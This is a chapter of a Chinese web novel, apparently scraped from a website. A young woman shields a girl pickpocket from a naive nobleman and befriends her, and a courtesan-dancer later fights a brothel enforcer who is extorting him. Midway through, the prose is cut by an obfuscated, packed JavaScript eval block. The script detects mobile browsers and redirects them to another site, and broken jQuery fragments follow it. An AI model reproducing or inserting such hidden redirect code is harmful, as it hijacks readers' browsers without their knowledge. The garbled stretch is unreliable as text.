“那我问你，你能保证她进了那种地方以后，真的只是挨几板子、关几天，然后就能全须全尾地出来？”钟舜华抱臂冷声质问。


    凌承隽被她问得一怔，理所当然道：“为何不能？律法昭昭，官府自会秉公而断！”


    他话音落下，身旁几位友人却都移开了视线。围观人群中有人忍不住笑出声来，有人轻叹摇头。


    凌承隽察觉气氛有异，目光扫过友人：“诸位这是何意？”


    友人们支支吾吾，目光闪躲。


    混在人群里看热闹的瓦舍小二没忍住嗤笑一声，扬声道：“哎哟，话说得倒是轻巧。咱们这种平头百姓，进了那地方，没钱打点，不死也得脱层皮，能不能出来都得看阎王心情！您这样的贵人，手指缝里漏点儿都比我们的命值钱，装什么清白？”


    他说完，眼见那贵人循声看过来，才意识到自己太冲动，慌忙低下头找补：“小的胡胡言乱语，哈哈……”说完像害怕被报复似的，缩着脖子脚下抹油，溜走了。


    欲盖弥彰。


    凌承隽脸上血色褪去，又慢慢涨红。他看向友人，见他们尴尬回避他的目光，心中还有什么不明白的。


    他既震惊又愤怒，还有一种被蒙蔽的羞耻感，纷纷席卷而来，冲上头顶。


    自幼受祖父教诲的他，一直笃信律法公正，为官当清正爱民，就连此番进瓦舍听曲儿，也是头一回，何曾想过……底下竟是这般光景？


    他闭了闭眼，再睁开，看向那瑟瑟发抖的小姑娘，视线落在她明显短了一截的袖口，胸口发堵。沉默片刻，他将手中锦囊塞进小姑娘手里，嗓音干涩：“你走吧。”


    说罢，不顾众人惊愕的目光，起身快步离开了撷芳阁。


    一场风波骤起骤落，将近平息。


    阁内管事闻讯赶来，目光在钟舜华和小偷身上一扫，又瞥见小偷手里的锦囊，摸了摸下巴，笑道：“小姑娘，看舞得买票。既然现在有了银子，便补上罢？”


    小姑娘闻言，一下子攥紧了那沉甸甸的锦囊，显然舍不得拿里头的银钱来买天价戏票。


    管事毫不意外，冷哼一声，又看向钟舜华身上的杂役褂子，皮笑肉不笑：“我怎么不记得手下有你这么个伙计？”


    钟舜华摸摸鼻子，耸耸肩。


    “请吧？”管事提高声调，身后的打手横眉冷目。


    两人就这样被“请”出了灯火辉煌的撷芳阁。


    离去时，阁内乐声乍起，清越空灵。


    演出开始了。


    钟舜华下意识回头，只见高台之上，一道身着织金舞衣的身影翩然步至中央。


    灯火映照下，他衣袂上繁复的暗纹流转如星河。匆忙间，她只来得及看清一片华丽的袍角，以及台上人似乎懒洋洋掀开眼皮，朝她这方向投来的若有似无的一瞥。


    帘幕垂下，身影没入光影深处。


    钟舜华遗憾地叹了口气。


    被撵出来的二人站在瓦舍街边灯火阑珊处，吹着冷风，成了难姐难妹。


    小偷捏着锦囊，心情复杂地看了一眼钟舜华。如果不是这个人多事，她或许已得了手溜之大吉。可后来若没有这人坚持，她恐怕真就要被那不通世事的公子送进衙门，受尽磋磨。


    踌躇半晌，她还是从锦囊里摸出一小锭银子，递过去：“……这个，给你。”


    “哦，”钟舜华眨了眨眼，毫无心理负担地接过，自然而然地揣进怀里，“多谢。”


    小姑娘：“……”


    她张了张嘴，看着钟舜华那副理所当然的呆样，一时不知该气还是该笑，最后只得暗自庆幸——幸好只给了一锭！


    一路无话，走到岔路口临分别前，小姑娘犹豫良久，低声道：“那个，我叫阿酒。我……我只偷那些钱多了烧得慌，喜欢欺压百姓的阔老爷，从来不碰穷苦人的活命钱。”


    钟舜华点点头：“我知道。”她语气平常，“其实我早瞧见你了，偷了好几个看着就讨厌的有钱家伙，我没想管。可你刚才偷的那位……他不像是坏人，你不该偷他。”


    阿酒怔住，抬眼仔细打量钟舜华。这人看起来愣头愣脑，甚至有些土气，可一双眼睛清亮透彻，对人的善恶似乎有种近乎本能的敏锐。


    她心里的那点怨气忽然就散了，反倒生出些微妙的亲近和羞愧，还有些说不清的羡慕。她想说点什么，嘴唇动了动，却拉不下脸。


    钟舜华却没这些纠结。上辈子三教九流的人见多了，收服跟班更是熟门熟路。她很是豪气地拍了拍阿酒单薄的肩膀：“阿酒是吧，我要在榆林巷开家具铺子。你往后要是还找不着正经活计，就来寻我，给我当个跑堂伙计，管饭！”


    阿酒鼻子一酸，赶紧低下头，闷闷“嗯”了一声。


    “我叫钟舜华。”钟舜华咧嘴一笑，冲她抱了抱拳，“江湖再见！”


    那笑容明亮爽朗，带着一股子令人艳羡的生命力。阿酒望着她潇洒离去的背影，头一回觉得，这无根无基的京城，也没那么冷了。


    钟舜华心里美滋滋的，觉得自己方才那番做派，颇有几分话本里侠客的风范。她脚步轻快地往家走，盘算着明日如何跟老爹分享这多出的一锭“意外之财”。


    快到家门时，却远远瞧见自家小院里还亮着昏黄的烛火。


    一个熟悉的身影坐在院中矮凳上，背微微佝偻着，就着那微弱的光线，全神贯注地用左手一点点雕刻着燕几上的花纹。


    刻刀起落极轻，沙沙的轻响融在夜色里，几乎听不清。那身影独自在空旷漆黑的院子中，显得格外孤寂。


    钟舜华脸上的笑容慢慢落了下来。


    她在原地站了片刻，看着老爹映在院墙上的影子，又摸了摸怀里那锭还带着体温的银子，忽然转身，拐进另一条小巷，朝着城外黑黢黢的山峦方向而去。


    .


    黎明前夕，瓦舍的喧嚣渐渐散去，舞台冷寂，笙歌消歇。


    几条巷子之外，僻静的小道笼在未尽的夜色里。


    后半夜下了点小雨，巷道湿漉漉的，蓄积的小水坑里映着微弱的光影。墙根长满了青苔，杂乱堆放着住户们不常用的家具农具，上面盖着聊胜于无的油布，隐隐散发着一股潮湿的霉味。


    晨雾弥漫，四下无人，连野猫野犬都不见踪影，只有穿堂风偶尔吹过，吹得油布簌簌作响，更添了几分阴冷诡谲。


    小圆被吓得缩起脖子，往前追了两步，想离前面的男人更近些。


    一高一矮两道身影，提着昏黄的纸灯笼，一言不发地走着。


    突然，前面的男子毫无预兆地顿住脚步，微哑的声音在寂静中突兀响起：“小圆，你冷不冷？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908834|192433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小圆刹住脚，心领神会：“明白，我这就回楼里替您把鹤氅取来。”


    男子微微颔首，并未回头，只继续往前走。


    待侍女的脚步声远去，他忽而停下，对着空荡荡的巷子，倦懒开口：“行了，出来罢，再跟就到地方了。”


    窸窸窣窣的声响从墙根阴影里传出。片刻之后，一个穿着粗布短褂的身影搓着手，神色怪异地走了出来。


    男子侧过脸，就着灯笼昏黄的光看了他一眼，似笑非笑：“李哥不在馆里当值，跟着我做什么？莫非是怕我跑了？”


    “跑？”龟公满脸不屑，“你往哪儿跑？卖身契还在馆主手里捏着呢。”他凑近两步，压低声音，眼中透出油腻的贪欲，“邬公子，最近手头紧，找你借点银子周转周转。”


    邬峤低低笑了一声，声音带着些微微的叹息：“我是奴，哪来的私钱？你若真想要，不如……”他抬手拂过鬓边一支珍珠步摇，“将这些钗环拿去？”


    珠光映着他昳丽的侧脸，龟公一时竟被那容色与笑意晃得有些失神，好半晌才反应过来，恼羞成怒地啐了一口：“呸，你蒙傻子呢？！这些首饰都在册上记着名儿，我拿来怎么用？”他盯着邬峤，眼神阴鸷，“别装了，我不信你没钱！前儿个我还看见几位衙内偷偷打赏你。”


    邬峤恹恹垂下眼。


    “过不了多久，邬公子就要飞上枝头，去贵人府里享福了，这点子钱还舍不得？倒不如赏给哥哥们去喝点小酒，哥哥自会替你遮掩。”龟公费尽口舌，却见邬峤一脸无趣地不为所动，仿佛在看他唱独角戏般。他登时大怒，“邬峤，你是不是不懂规矩？要是捅到馆主妈妈那里去，可就一分都留不下了！”


    邬峤静静看着他，眸色在昏光中晦暗不明。许久，他轻叹一声：“好吧。钱没带在身上，随我去住所拿。”


    龟公面上一喜，心里盘算这条大鱼究竟私藏了多少银钱，忙不迭跟上。谁知刚靠近邬峤身侧，那看起来纤细的舞伎陡然抬手，一道冰冷的银光自他袖中疾刺而出，直取龟公咽喉！


    龟公骇然变色，虽被美色和钱财所惑，反应却不算慢，仓促间猛地一偏头，磨得极尖的银箸擦着他的脖颈划过，带出一道血线。


    他吃痛怒吼，仗着力气大，一把攥住邬峤持箸的手腕，两人顿时扭打在一处。


    银箸飞落，在空旷的巷中发出清脆声响，邬峤掐住了对面人的喉咙。


    龟公又惊又怒。他干惯了镇场押人的力气活，从来不把舞伎放在眼里，这回也不过是像以前一样，找即将赎身的伎子要点银钱。眼前这位虽是头牌，但左不过也是个弱鸡，定然愿意花钱消灾。


    可他没想到，这邬峤竟是个要钱不要命的，下手如此狠辣决绝，招招奔着要害，全然是拼命的架势。


    “松、手！”他被邬峤紧紧扼住脖颈，面色涨得发紫，目眦欲裂：“听见、没有？！该死的、贱货、万人骑的东西……松、开！”


    “威胁我？”邬峤自己也被掐得呼吸艰难，胸腔剧痛，却仿佛听不见那些污言秽语。


    他毫不在意那几乎要捏碎他喉骨的力道，一双手不依不饶地死死扣在龟公的颈动脉上，冷沉的眸子映着微弱天光，透出一种压抑后的疯狂，看得人心底发寒，“正好……小爷也不想活了。陪我一起……上路吧。”